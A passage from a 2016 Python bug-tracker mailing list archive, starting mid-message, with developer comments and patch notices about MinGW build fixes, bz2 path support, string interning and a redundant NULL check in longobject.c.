#ifdef _MSC_VER
...
#ifdef _WIN64
#define MS_WIN64
#endif
...
#endif /* _MSC_VER */

So suggested patch (for 3.5.2 and 2.7.12) just appropriately define MS_WIN64 for MinGW

----------
components: Build, Windows
files: pyconfig.h.3.5.mingw.patch
keywords: patch
messages: 277352
nosy: paul.moore, steve.dower, tim.golden, vmurashev, zach.ware
priority: normal
severity: normal
status: open
title: [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h
Added file: http://bugs.python.org/file44805/pyconfig.h.3.5.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28267>
_______________________________________

From report at bugs.python.org  Sun Sep 25 05:47:51 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 09:47:51 +0000
Subject: [issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit
 Windows using PC/pyconfig.h
In-Reply-To: <1474796748.74.0.791284991149.issue28267@psf.upfronthosting.co.za>
Message-ID: <1474796871.08.0.412604717839.issue28267@psf.upfronthosting.co.za>


Changes by Vitaly Murashev <murashev_vitaly at mail.ru>:


Added file: http://bugs.python.org/file44806/pyconfig.h.2.7.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28267>
_______________________________________

From report at bugs.python.org  Sun Sep 25 05:49:42 2016
From: report at bugs.python.org (Soumya Sharma)
Date: Sun, 25 Sep 2016 09:49:42 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474796982.96.0.165039982182.issue28203@psf.upfronthosting.co.za>


Soumya Sharma added the comment:

Thanks for the merge!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Sun Sep 25 05:56:10 2016
From: report at bugs.python.org (Antti Haapala)
Date: Sun, 25 Sep 2016 09:56:10 +0000
Subject: [issue23505] Urlparse insufficient validation leads to open redirect
In-Reply-To: <1424736713.95.0.74935935546.issue23505@psf.upfronthosting.co.za>
Message-ID: <1474797370.63.0.503917811402.issue23505@psf.upfronthosting.co.za>


Antti Haapala added the comment:

*I mean the problem exists in `urlparse`, not only in `urlunparse`

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23505>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:06:34 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 25 Sep 2016 10:06:34 +0000
Subject: [issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit
 Windows using PC/pyconfig.h
In-Reply-To: <1474796748.74.0.791284991149.issue28267@psf.upfronthosting.co.za>
Message-ID: <1474797994.54.0.441512530242.issue28267@psf.upfronthosting.co.za>


Martin Panter added the comment:

This probably duplicates Issue 17590, although the extra context here is nice :)

What do you think of my patch there, which also removes them from PC/pyconfig.h? I think it is better to define things in one place if possible.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28267>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:30:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 25 Sep 2016 10:30:07 +0000
Subject: [issue15206] uuid module falls back to unsuitable RNG
In-Reply-To: <1340805699.85.0.817571094699.issue15206@psf.upfronthosting.co.za>
Message-ID: <1474799407.08.0.0492142338379.issue15206@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Past me was a bit too eager...

Only UUID4 are suppose to be random and unpredictable. uuid.UUID4 uses os.urandom() to as RNG. UUID1, UUID3 and UUID5 are more concerned with reducing collisions.

----------
status: open -> pending
type: security -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15206>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:30:52 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 25 Sep 2016 10:30:52 +0000
Subject: [issue28248] Upgrade installers to OpenSSL 1.0.2i
In-Reply-To: <1474552584.95.0.0318594270303.issue28248@psf.upfronthosting.co.za>
Message-ID: <1474799452.98.0.966180488514.issue28248@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
superseder:  -> Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows
versions: +Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28248>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:31:36 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 25 Sep 2016 10:31:36 +0000
Subject: [issue28248] Upgrade installers to OpenSSL 1.0.2i
In-Reply-To: <1474552584.95.0.0318594270303.issue28248@psf.upfronthosting.co.za>
Message-ID: <1474799496.76.0.101340854282.issue28248@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
superseder: Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28248>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:33:05 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 25 Sep 2016 10:33:05 +0000
Subject: [issue27995] Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows
In-Reply-To: <1473218507.98.0.0291056472337.issue27995@psf.upfronthosting.co.za>
Message-ID: <1474799585.63.0.242608724399.issue27995@psf.upfronthosting.co.za>


Christian Heimes added the comment:

1.0.2i is the latest version of the 1.0.2 series, #27995

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed
superseder:  -> Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27995>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:33:05 2016
From: report at bugs.python.org (chrysn)
Date: Sun, 25 Sep 2016 10:33:05 +0000
Subject: [issue28268] bz2.open does not use __fspath__ (PEP 519)
Message-ID: <1474799585.68.0.824862918145.issue28268@psf.upfronthosting.co.za>


New submission from chrysn:

The bz2.open function accepts a file name; after PEP 519 (file system path protocol) it "is expected that most APIs in Python's standard library that currently accept a file system path will be updated appropriately to accept path objects".

BZ2File explicitly checks for types (bz2.py:94-97), so it will need explicit adaption.

----------
messages: 277357
nosy: chrysn
priority: normal
severity: normal
status: open
title: bz2.open does not use __fspath__ (PEP 519)
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28268>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:37:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 10:37:35 +0000
Subject: [issue27942] Default value identity regression
In-Reply-To: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>
Message-ID: <1474799855.32.0.479782164486.issue27942@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Proposed patch interns string constants recursively in tuples and frozensets. This fixes issue26148 and issue25981.

----------
keywords: +patch
stage:  -> patch review
versions: +Python 3.7
Added file: http://bugs.python.org/file44807/intern_string_constants.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:40:20 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 10:40:20 +0000
Subject: [issue28268] bz2.open does not use __fspath__ (PEP 519)
In-Reply-To: <1474799585.68.0.824862918145.issue28268@psf.upfronthosting.co.za>
Message-ID: <1474800020.8.0.613436382473.issue28268@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This is a duplicate of issue27511 and issue28225.

----------
nosy: +serhiy.storchaka
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Add PathLike objects support to BZ2File

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28268>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:42:00 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 10:42:00 +0000
Subject: [issue28190] Detect curses headers correctly for cross-compiling
In-Reply-To: <1474132808.23.0.788365161086.issue28190@psf.upfronthosting.co.za>
Message-ID: <1474800120.85.0.0944855098952.issue28190@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28190>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:44:49 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 10:44:49 +0000
Subject: [issue26148] String literals are not interned if in a tuple
In-Reply-To: <1453147788.86.0.284579420871.issue26148@psf.upfronthosting.co.za>
Message-ID: <1474800289.47.0.421531231696.issue26148@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The patch is provided in issue27942.

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Default value identity regression

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26148>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:48:03 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 10:48:03 +0000
Subject: [issue28269] [MinGW] Can't compile Python/dynload_win.c due to static
 strcasecmp
Message-ID: <1474800483.31.0.700864577383.issue28269@psf.upfronthosting.co.za>


New submission from Vitaly Murashev:

Attempt to complile Python/dynload_win.c by MinGW fails
due to static reimplementation of strcasecmp function in this file:

---
/* Case insensitive string compare, to avoid any dependencies on particular
   C RTL implementations */

static int strcasecmp (char *string1, char *string2)
{
    int first, second;

    do {
        first  = tolower(*string1);
        second = tolower(*string2);
        string1++;
        string2++;
    } while (first && first == second);

    return (first - second);
}
---

And this reimplementation clashed with native declaration of strcasecmp()
which one is a part of MinGW runtime

So suggested patch (for 3.5.2 and 2.7.12)
just disables static reimplementation of strcasecmp for MinGW

----------
components: Build
files: dynload_win.c.3.5.mingw.patch
keywords: patch
messages: 277362
nosy: vmurashev
priority: normal
severity: normal
status: open
title: [MinGW] Can't compile Python/dynload_win.c due to static strcasecmp
Added file: http://bugs.python.org/file44808/dynload_win.c.3.5.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28269>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:48:18 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 10:48:18 +0000
Subject: [issue28269] [MinGW] Can't compile Python/dynload_win.c due to static
 strcasecmp
In-Reply-To: <1474800483.31.0.700864577383.issue28269@psf.upfronthosting.co.za>
Message-ID: <1474800498.04.0.813905489609.issue28269@psf.upfronthosting.co.za>


Changes by Vitaly Murashev <murashev_vitaly at mail.ru>:


Added file: http://bugs.python.org/file44809/dynload_win.c.2.7.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28269>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:57:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 10:57:12 +0000
Subject: [issue27998] Remove support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1474801032.05.0.0300153822215.issue27998@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I don't know what is the benefit of removing support of bytes paths in os.scandir(), but supporting bytes paths allows to remove ugly workarounds from os and glob modules.

 Lib/glob.py |   16 --------!!!!!!
 Lib/os.py   |   67 ---------------------------------------------------------!!!
 2 files changed, 73 deletions(-), 10 modifications(!)

----------
keywords: +patch
Added file: http://bugs.python.org/file44810/cleanup_scandir_bytes.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Sun Sep 25 07:17:41 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 11:17:41 +0000
Subject: [issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit
 Windows using PC/pyconfig.h
In-Reply-To: <1474796748.74.0.791284991149.issue28267@psf.upfronthosting.co.za>
Message-ID: <1474802261.86.0.686654579073.issue28267@psf.upfronthosting.co.za>


Vitaly Murashev added the comment:

Patch suggested here is actually the most trivial as it could be.

And at the same time we (crystax.net) can prove that after this patch Python being compiled by MInGW for 64-bit Windows actually works well. There are other minor fixes but this one is the most important and again - is really trivial

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28267>
_______________________________________

From report at bugs.python.org  Sun Sep 25 07:24:40 2016
From: report at bugs.python.org (Antti Haapala)
Date: Sun, 25 Sep 2016 11:24:40 +0000
Subject: [issue28260] mock._Any and mock._Call implement __eq__ but not
 __hash__
In-Reply-To: <1474653593.44.0.212461111184.issue28260@psf.upfronthosting.co.za>
Message-ID: <1474802680.07.0.568148833291.issue28260@psf.upfronthosting.co.za>


Antti Haapala added the comment:

So you mean that unittest.mock should explicitly set `__hash__ = None`; but this is already what the unittest.mock does, in Python 3; there is no need to set `__hash__ = None`; it is the backport that needs to do this in order to stay compatible. There is no mock.py in 2.7.

----------
nosy: +ztane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Sun Sep 25 07:25:28 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 11:25:28 +0000
Subject: [issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit
 Windows using PC/pyconfig.h
In-Reply-To: <1474796748.74.0.791284991149.issue28267@psf.upfronthosting.co.za>
Message-ID: <1474802728.6.0.597539957928.issue28267@psf.upfronthosting.co.za>


Changes by Vitaly Murashev <murashev_vitaly at mail.ru>:


----------
type:  -> crash

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28267>
_______________________________________

From report at bugs.python.org  Sun Sep 25 07:25:56 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 11:25:56 +0000
Subject: [issue28269] [MinGW] Can't compile Python/dynload_win.c due to static
 strcasecmp
In-Reply-To: <1474800483.31.0.700864577383.issue28269@psf.upfronthosting.co.za>
Message-ID: <1474802756.98.0.283737224407.issue28269@psf.upfronthosting.co.za>


Changes by Vitaly Murashev <murashev_vitaly at mail.ru>:


----------
type:  -> compile error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28269>
_______________________________________

From report at bugs.python.org  Sun Sep 25 07:27:58 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 25 Sep 2016 11:27:58 +0000
Subject: [issue10504] Trivial mingw compile fixes
In-Reply-To: <1290432020.95.0.401711712349.issue10504@psf.upfronthosting.co.za>
Message-ID: <1474802878.42.0.999207278315.issue10504@psf.upfronthosting.co.za>


Martin Panter added the comment:

The patch seems to share some changes to Modules/posixmodule.c with parts of Issue 17598?s patch (and one common part has already been applied).

Issue 17591 already fixed <windows.h> to lowercase.

Just now Issue 28269 has been opened about strcasecmp().

----------
dependencies: +[MinGW] Can't compile Python/dynload_win.c due to static strcasecmp, mingw: init system calls, mingw: use header in lowercase
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10504>
_______________________________________

From report at bugs.python.org  Sun Sep 25 07:50:21 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 11:50:21 +0000
Subject: [issue28270] [MinGW] Can't compile Modules/posixmodule.c by MinGW -
 several macro are missed
Message-ID: <1474804221.68.0.944652457277.issue28270@psf.upfronthosting.co.za>


New submission from Vitaly Murashev:

'posixmodule.c' is written pretty well, but some important MinGW realated macro are missed.
And as a result an attempt to complile Modules/posixmodule.c by MinGW fails.

So suggested patch (for 3.5.2 and 2.7.12)
just turns on missed MinGW related macro

----------
components: Build
files: posixmodule.c.3.5.mingw.patch
keywords: patch
messages: 277367
nosy: vmurashev
priority: normal
severity: normal
status: open
title: [MinGW] Can't compile Modules/posixmodule.c by MinGW - several macro are missed
type: compile error
Added file: http://bugs.python.org/file44811/posixmodule.c.3.5.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28270>
_______________________________________

From report at bugs.python.org  Sun Sep 25 07:50:55 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 11:50:55 +0000
Subject: [issue28270] [MinGW] Can't compile Modules/posixmodule.c by MinGW -
 several macro are missed
In-Reply-To: <1474804221.68.0.944652457277.issue28270@psf.upfronthosting.co.za>
Message-ID: <1474804255.82.0.196335365835.issue28270@psf.upfronthosting.co.za>


Changes by Vitaly Murashev <murashev_vitaly at mail.ru>:


Added file: http://bugs.python.org/file44812/posixmodule.c.2.7.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28270>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:12:09 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 25 Sep 2016 12:12:09 +0000
Subject: [issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit
 Windows using PC/pyconfig.h
In-Reply-To: <1474796748.74.0.791284991149.issue28267@psf.upfronthosting.co.za>
Message-ID: <1474805529.65.0.730159068676.issue28267@psf.upfronthosting.co.za>


Martin Panter added the comment:

It looks like Issue 4709 may also be a duplicate.

Your added definition is distant from the comment explaining it. And why not open MS_WIN64 to any Windows compiler, rather than limiting it to just MSC and MINGW?

I presume you are not building by running the configure script, but some other method. The advantage of moving this stuff out of PC/pyconfig.h is it can also be used with the pyconfig.h generated by the configure script.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28267>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:27:38 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 25 Sep 2016 12:27:38 +0000
Subject: [issue28270] [MinGW] Can't compile Modules/posixmodule.c by MinGW -
 several macro are missed
In-Reply-To: <1474804221.68.0.944652457277.issue28270@psf.upfronthosting.co.za>
Message-ID: <1474806458.0.0.613563718617.issue28270@psf.upfronthosting.co.za>


Martin Panter added the comment:

This competes with the patch at Issue 17598.

How are you building Python? I presume you are not using the configure script. It would be good to come up with a patch that addresses for both cases.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28270>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:37:44 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 12:37:44 +0000
Subject: [issue28271] [MinGW] Can't compile _ctypes/callproc.c - SEH not
 supported by MinGW
Message-ID: <1474807064.66.0.0836341319322.issue28271@psf.upfronthosting.co.za>


New submission from Vitaly Murashev:

Structured exception handling not supported by MinGW,
and as a result file 'Modules/_ctypes/callproc.c' is not compilable by MinGW without patching

As I know the patch was initially introduced in Google's repo,
and fixed file 'callproc.c' now can be found here
https://android.googlesource.com/platform/external/python/+/upstream-2.7/Modules/_ctypes/callproc.c

Since I am sure that it is waste of time to wait while Googe suggest the patch in cpython upstream, I'm just injected Google's patch to the recent python version.

So suggested patch (for 3.5.2 and 2.7.12) is just an adoption of Google's patch to the recent cpython versions.

----------
components: Build, ctypes
files: callproc.c.3.5.mingw.patch
keywords: patch
messages: 277370
nosy: vmurashev
priority: normal
severity: normal
status: open
title: [MinGW] Can't compile _ctypes/callproc.c - SEH not supported by MinGW
type: compile error
Added file: http://bugs.python.org/file44813/callproc.c.3.5.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28271>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:38:08 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 12:38:08 +0000
Subject: [issue28271] [MinGW] Can't compile _ctypes/callproc.c - SEH not
 supported by MinGW
In-Reply-To: <1474807064.66.0.0836341319322.issue28271@psf.upfronthosting.co.za>
Message-ID: <1474807088.71.0.622400183505.issue28271@psf.upfronthosting.co.za>


Changes by Vitaly Murashev <murashev_vitaly at mail.ru>:


Added file: http://bugs.python.org/file44814/callproc.c.2.7.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28271>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:38:52 2016
From: report at bugs.python.org (Oren Milman)
Date: Sun, 25 Sep 2016 12:38:52 +0000
Subject: [issue28272] a redundant check in maybe_small_long
Message-ID: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>


New submission from Oren Milman:

------------ current state ------------
In Objects/longobject.c, the function maybe_small_long first checks whether v (the received PyLongObject pointer) is not NULL. 
However, currently in every call to maybe_small_long, it is already guaranteed that v is not NULL, which makes that check redundant.
(Currently, the following are the only functions that call maybe_small_long:
    * PyLong_FromString
    * long_divrem
    * long_rshift
    * long_lshift
    * long_bitwise)

With regard to relevant changes made in the past, maybe_small_long remained quite the same since it was added, in changeset 48567 (https://hg.python.org/cpython/rev/1ce7e5c5a761) - in particular, the check (whether v is not NULL) was always there.
When it was added, both long_rshift and long_lshift might have called maybe_small_long with v as NULL, which seems like the reason for adding the check back then.


------------ proposed changes ------------
In Objects/longobject.c in maybe_small_long, remove the check whether v is not NULL, and add an 'assert(v != NULL);'.


------------ diff ------------
The proposed patches diff file is attached.


------------ tests ------------
I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output.
The outputs of both runs are attached.

----------
components: Interpreter Core
files: CPythonTestOutput.txt
messages: 277371
nosy: Oren Milman
priority: normal
severity: normal
status: open
title: a redundant check in maybe_small_long
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44815/CPythonTestOutput.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:39:24 2016
From: report at bugs.python.org (Oren Milman)
Date: Sun, 25 Sep 2016 12:39:24 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474807164.51.0.521887166083.issue28272@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Added file: http://bugs.python.org/file44816/patchedCPythonTestOutput_ver1.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:40:49 2016
From: report at bugs.python.org (Oren Milman)
Date: Sun, 25 Sep 2016 12:40:49 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474807249.44.0.0337420011491.issue28272@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Removed file: http://bugs.python.org/file44816/patchedCPythonTestOutput_ver1.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:40:59 2016
From: report at bugs.python.org (Oren Milman)
Date: Sun, 25 Sep 2016 12:40:59 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474807259.23.0.000869086846982.issue28272@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Removed file: http://bugs.python.org/file44815/CPythonTestOutput.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:41:42 2016
From: report at bugs.python.org (Oren Milman)
Date: Sun, 25 Sep 2016 12:41:42 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474807302.72.0.691878014313.issue28272@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Added file: http://bugs.python.org/file44817/patchedCPythonTestOutput_ver1.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:42:21 2016
From: report at bugs.python.org (Oren Milman)
Date: Sun, 25 Sep 2016 12:42:21 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474807341.9.0.293223811594.issue28272@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Added file: http://bugs.python.org/file44818/CPythonTestOutput.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:42:48 2016
From: report at bugs.python.org (Oren Milman)
Date: Sun, 25 Sep 2016 12:42:48 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474807368.62.0.614683742348.issue28272@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44819/issue28272_ver1.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:43:45 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 12:43:45 +0000
Subject: [issue28270] [MinGW] Can't compile Modules/posixmodule.c by MinGW -
 several macro are missed
In-Reply-To: <1474804221.68.0.944652457277.issue28270@psf.upfronthosting.co.za>
Message-ID: <1474807425.51.0.526747310523.issue28270@psf.upfronthosting.co.za>


Vitaly Murashev added the comment:

We (crystax.net) are building Python for Windows completely by cmake and MinGW using PC/pyconfig.h without any configure scripts

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28270>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:52:43 2016
From: report at bugs.python.org (Steve Dower)
Date: Sun, 25 Sep 2016 12:52:43 +0000
Subject: [issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit
 Windows using PC/pyconfig.h
In-Reply-To: <1474796748.74.0.791284991149.issue28267@psf.upfronthosting.co.za>
Message-ID: <1474807963.8.0.357634985784.issue28267@psf.upfronthosting.co.za>


Steve Dower added the comment:

FWIW I'm not bothered by this patch. Maybe we can one day tidy this all up but merging this now is a good stop-gap. (I probably won't get a chance in the next week.)

Other compilers can pass architecture flags on the command line instead of inferring them at build.

----------
stage:  -> patch review
type: crash -> compile error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28267>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:59:25 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 12:59:25 +0000
Subject: [issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit
 Windows using PC/pyconfig.h
In-Reply-To: <1474796748.74.0.791284991149.issue28267@psf.upfronthosting.co.za>
Message-ID: <1474808365.95.0.225157092046.issue28267@psf.upfronthosting.co.za>


Vitaly Murashev added the comment:

> And why not open MS_WIN64 to any Windows compiler
It would be very good idea

Patches suggested here are just the drafts which just work.
Actually I don't believe they will be accepted, so just dropped here for history

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28267>
_______________________________________

From report at bugs.python.org  Sun Sep 25 09:13:42 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 25 Sep 2016 13:13:42 +0000
Subject: [issue19795] Formatting of True/False in docs
In-Reply-To: <1385457525.93.0.980812903017.issue19795@psf.upfronthosting.co.za>
Message-ID: <1474809222.83.0.805614986129.issue19795@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19795>
_______________________________________

From report at bugs.python.org  Sun Sep 25 09:18:13 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 25 Sep 2016 13:18:13 +0000
Subject: [issue20947] -Wstrict-overflow findings
In-Reply-To: <1394991597.86.0.942219538296.issue20947@psf.upfronthosting.co.za>
Message-ID: <1474809493.78.0.920923267509.issue20947@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I can no longer reproduce the warnings with

$ CFLAGS=-Wstrict-overflow ./configure -C --with-pydebug --silent
$ make --silent

----------
nosy: +christian.heimes
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20947>
_______________________________________

From report at bugs.python.org  Sun Sep 25 09:19:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 25 Sep 2016 13:19:04 +0000
Subject: [issue1175984] Make subprocess.Popen support file-like objects (win)
Message-ID: <1474809544.71.0.758728963202.issue1175984@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
dependencies:  -subprocess: more general (non-buffering) communication
resolution:  -> out of date
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1175984>
_______________________________________

From report at bugs.python.org  Sun Sep 25 09:21:37 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 25 Sep 2016 13:21:37 +0000
Subject: [issue18170] define built-in exceptions in Python code
In-Reply-To: <1370735699.37.0.350073873785.issue18170@psf.upfronthosting.co.za>
Message-ID: <1474809697.64.0.0820559809801.issue18170@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +christian.heimes
versions: +Python 3.7 -Python 3.4

_______________________________________
